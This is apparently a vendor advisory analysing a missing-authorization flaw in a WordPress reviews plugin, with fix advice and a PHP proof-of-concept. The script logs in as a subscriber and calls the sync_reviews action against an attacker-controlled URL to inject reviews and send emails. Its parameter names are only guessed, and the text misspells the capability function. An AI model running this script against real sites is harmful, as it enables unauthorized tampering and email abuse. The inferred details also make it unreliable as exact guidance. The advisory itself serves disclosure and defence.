Atomic Edge analysis of CVE-2026-9619 (metadata-based):
This vulnerability affects the Reviews and Rating – Docplanner plugin for WordPress, versions up to and including 1.1.4. It is a missing authorization vulnerability in the sync_reviews AJAX action that allows authenticated attackers with subscriber-level access or higher to trigger outbound scraping of external websites and write scraped review data into the wp_dp_reviews database table, as well as send feature-request emails from the site administrator’s email address. The CVSS score is 4.3 (medium), with a vector of AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N.
The root cause is a missing authorization check (CWE-862) in an AJAX handler registered via WordPress’s wp_ajax_* hooks. Atomic Edge analysis infers that the plugin fails to call current_user_cans() or similar capability verification before executing the sync_reviews action. This is a common pattern in WordPress plugins where developers mistakenly assume that only authenticated users can reach the handler but omit granular permission checks. Since no source code diff is available, this conclusion is based on the CWE classification and vulnerability description.
An authenticated attacker with subscriber-level privileges can exploit this by sending a POST request to /wp-admin/admin-ajax.php with the action parameter set to sync_reviews and likely additional parameters specifying the target URL or review data source. The attacker does not need any special capabilities beyond being logged in, as there is no nonce or capability check. The plugin’s AJAX handler then initiates an outbound HTTP request to scrape external content and writes the results into the database table wp_dp_reviews. The same handler can also send emails spoofed to appear from the site administrator’s address.
The fix requires adding proper authorization verification to the vulnerable AJAX handler. The plugin should call current_user_cans(‘edit_posts’) or a more specific capability before allowing the sync_reviews action. Additionally, nonce verification using check_ajax_referer() should be implemented. Since there is no patched version available, sites running the plugin should disable it or implement a virtual patch via WAF.
The impact of successful exploitation is limited to authenticated users but includes unauthorized modification of database records (the wp_dp_reviews table) and potential email spoofing from the administrator’s email address. This could damage the site’s reputation, send unsolicited messages to users, and pollute review data. However, the attacker cannot directly compromise the entire site or access sensitive data, as indicated by the low confidentiality impact.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-9619 - Reviews and Rating <= 1.1.4 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Modification via sync_reviews AJAX Action
// Configurable target URL and credentials
$target_url = 'http://example.com'; // Change this to the WordPress site URL
$username = 'subscriber_user'; // Valid subscriber username
$password = 'subscriber_pass'; // Subscriber password
// Step 1: Login to WordPress to get a valid session cookie
$login_url = $target_url . '/wp-login.php';
$post_data = array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic Edge PoC');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code !== 200) {
die('Login failed. HTTP code: ' . $http_code . "n");
}
echo "[+] Login successful.n";
// Step 2: Trigger the sync_reviews AJAX action
// The exact parameter names are inferred from the vulnerability description.
// We assume the handler expects a 'url' parameter pointing to the external site to scrape.
// Adjust parameter names based on actual plugin code if known.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = array(
'action' => 'sync_reviews',
'url' => 'http://attacker-controlled-site.com/fake-reviews.json', // Parameter name inferred
'email_subject' => 'Feature Request',
'email_message' => 'Please add new feature.'
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$ajax_response = curl_exec($ch);
$ajax_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] AJAX request sent. HTTP code: " . $ajax_http_code . "n";
echo "[+] Response: " . $ajax_response . "n";
// Clean up
if (file_exists('/tmp/cookies.txt')) {
unlink('/tmp/cookies.txt');
}
